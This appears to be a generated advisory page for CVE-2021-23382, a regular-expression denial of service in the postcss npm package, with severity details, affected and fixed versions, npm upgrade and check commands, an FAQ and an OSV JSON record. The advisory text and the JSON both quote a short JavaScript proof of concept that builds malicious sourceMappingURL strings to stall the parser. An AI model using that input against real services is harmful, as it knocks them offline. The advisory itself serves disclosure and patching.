CVE-2021-23382: Postcss Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-566m-qj78-rww5
CVSS 5.3
CWE-400
Published
Advisory Summary

CVE-2021-23382 is a MODERATE (CVSS 5.3) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Postcss libraries in the npm ecosystem. The issue involves regular expression denial of service in postcss. Remediation is available by upgrading affected packages to version 8.2.13, 7.0.36.

CVE-2021-23382 at a Glance

CVE Identifier CVE-2021-23382
GHSA Identifier GHSA-566m-qj78-rww5
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Postcss
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2021-23382

To remediate this vulnerability, upgrade all affected Postcss dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

postcss fixed: 8.2.13
npm install postcss@8.2.13
postcss fixed: 7.0.36
npm install postcss@7.0.36
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls postcss

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2021-23382, inspect your project dependencies using npm:

npm ls postcss

Analyze the terminal output to locate any version of Postcss in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.2.13), your application is affected.

Note: The npm ls postcss command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Postcss, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern ```regex \/\*\s* sourceMappingURL=(.*) ``` ### PoC ```js var postcss = require("postcss") function build_attack(n) { var ret = "a{}" for (var i = 0; i < n; i++) { ret += "/*# sourceMappingURL=" } return ret + "!"; } ``` ```js postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) { if (i % 1000 == 0) { var time = Date.now(); var attack_str = build_attack(i) try { postcss.parse(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } catch (e) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } } } ```

CVE-2021-23382 Affected Postcss Versions

2 component(s)
Fixed Versions:
8.2.137.0.36
Product / Package Ecosystem Affected Versions Fixed Version
postcss
npm
≥ 8.0.0
< 8.2.13
8.2.13
postcss
npm
< 7.0.36
7.0.36

References

Frequently Asked Questions

What is CVE-2021-23382?
CVE-2021-23382 is a security vulnerability in Postcss involving Regular Expression Denial of Service in postcss under CWE-400: Uncontrolled Resource Consumption.
Which Postcss versions are affected?
Affected versions include releases prior to 8.2.13, 7.0.36 across affected packages: postcss.
What version fixes CVE-2021-23382?
Upgrading to 8.2.13, 7.0.36 (or the latest patched release for your respective branch) resolves the vulnerability.
Is postcss affected?
Yes, postcss is affected in releases prior to 8.2.13, 7.0.36. Upgrade your dependency to 8.2.13, 7.0.36 or later.
What is the CVSS score of CVE-2021-23382?
CVE-2021-23382 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2021-23382?
CVE-2021-23382 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2021-23382?
Run the dependency tree command: 'npm ls postcss'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-566m-qj78-rww5",
  "modified" : "2023-09-08T19:35:12Z",
  "published" : "2022-01-07T00:21:36Z",
  "aliases" : [ "CVE-2021-23382" ],
  "summary" : "Regular Expression Denial of Service in postcss",
  "details" : "The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \n```regex\n\\/\\*\\s* sourceMappingURL=(.*)\n```\n\n### PoC\n```js\nvar postcss = require(\"postcss\")\nfunction build_attack(n) {\n    var ret = \"a{}\"\n    for (var i = 0; i < n; i++) {\n        ret += \"/*# sourceMappingURL=\"\n    }\n    return ret + \"!\";\n}\n```\n```js\npostcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {\n    if (i % 1000 == 0) {\n        var time = Date.now();\n        var attack_str = build_attack(i) try {\n            postcss.parse(attack_str) var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        } catch (e) {\n            var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        }\n    }\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "postcss"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "8.0.0"
      }, {
        "fixed" : "8.2.13"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "postcss"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.0.36"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-23382"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/postcss/postcss/releases/tag/7.0.36"
  }, {
    "type" : "WEB",
    "url" : "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641"
  }, {
    "type" : "WEB",
    "url" : "https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2021-05-20T21:23:19Z",
    "nvd_published_at" : "2021-04-26T16:15:00Z"
  }
}